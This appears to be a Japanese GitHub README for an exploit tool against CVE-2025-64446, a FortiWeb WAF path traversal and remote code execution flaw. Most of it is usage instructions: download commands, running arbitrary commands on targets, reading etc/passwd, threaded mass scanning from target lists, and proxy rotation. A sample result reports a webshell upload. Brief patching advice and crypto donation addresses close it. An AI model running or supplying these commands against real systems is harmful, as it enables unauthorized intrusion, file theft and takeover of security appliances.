
CVE-2025-64446(FortiWeb パストラバーサル RCE 脆弱性)を検出・テストするためのセキュリティ調査ツール
Fortinet FortiWeb Webアプリケーションファイアウォール(WAF)におけるCVE-2025-64446脆弱性を検出およびテストするためのセキュリティ研究ツールです。この深刻なゼロデイパストラバーサル脆弱性は、実際に広く悪用されており、認証されていない攻撃者がセキュリティ制御をバイパスして任意のコードを実行することを可能にします。
このツールは許可されたセキュリティテストおよび教育目的のみのためのものです。許可なくコンピュータシステムにアクセスすることは違法です。このツールは、自分が所有するシステム、またはテストする明示的な書面による許可があるシステムでのみ使用してください。
CVE-2025-64446 は、Fortinet FortiWeb WAF における深刻なゼロデイパストラバーサル脆弱性であり、実際に広く悪用されています。この脆弱性により、認証されていない攻撃者がパストラバーサル攻撃を通じてセキュリティ制御をバイパスし、リモートコード実行、設定ファイルへのアクセス、システム全体の侵害につながる可能性があります。
CVSS スコア: 9.8 (Critical)
ステータス: 広く悪用中
CISA KEV: 既知の悪用脆弱性カタログに追加
パッチ: FG-IR-25-910
影響を受ける製品: Fortinet FortiWeb WAF
# リポジトリをクローン
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit
# 依存関係をインストール
pip install -r requirements.txt
# スクリプトを実行可能にする(オプション)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py
# スクリプトをダウンロード
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py
# 依存関係をインストール
pip install requests
# 単一ターゲット
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com
# カスタムコマンドの実行
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"
# ファイルから複数ターゲット
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
# スレッドを使用して高速スキャン
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5
# デバッグ用の詳細出力
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v
# 単一プロキシ
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port
# ファイルから複数プロキシ
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# 基本 POC テスト
python3 cve_2025_64446_poc.py -u http://target.com
# 特定のファイルをテスト
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd
# 詳細出力
python3 cve_2025_64446_poc.py -u http://target.com -v
-u, --url ターゲットURL
-f, --file ターゲットURLを含むファイル(1行に1つ)
-c, --command 実行するコマンド(デフォルト: id)
-t, --threads スレッド数(デフォルト: 1)
-o, --output 出力ファイル(デフォルト: uknf_fortiweb_results.json)
-v, --verbose 詳細なログを有効にする
--proxy プロキシURL(例: http://127.0.0.1:8080)
--proxy-list プロキシURLを含むファイル(1行に1つ)
スクリプトは詳細な結果を含む JSON ファイルを生成します:
{
"target": "http://target.com",
"timestamp": "2025-11-21T00:25:40.123456",
"fortiweb_detected": true,
"vulnerable": true,
"path_traversal_successful": true,
"config_file_read": true,
"webshell_uploaded": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_payload": "../../../../etc/passwd"
}
FortiWeb WAF を使用している場合:
すぐにセキュリティアップデートを適用:
# 現在のバージョンを確認
show system status
# 最新バージョンに更新
execute upgrade <firmware-file>
ネットワークセグメンテーション:
構成の強化:
CISA 要件:
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com
# ターゲットファイルを作成
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# スキャンを実行
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"
# 単一プロキシ
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# ファイルから複数プロキシ
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# 基本 POC
python3 cve_2025_64446_poc.py -u https://example.com
# 特定のファイルをテスト
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd
貢献は歓迎します!プルリクエストをお気軽に送信してください。
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)問題が発生した場合や提案がある場合は、GitHub で issue を開いてください。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。
このツールが役に立った場合は、GitHub でスターを付けることを検討してください!
このツールは教育目的および許可されたセキュリティテストのために提供されています。著者は、このプログラムの誤用または損害について一切責任を負いません。ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任があります。
このツールが役に立ち、プロジェクトを支援したい場合:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
ご支援ありがとうございます! 🙏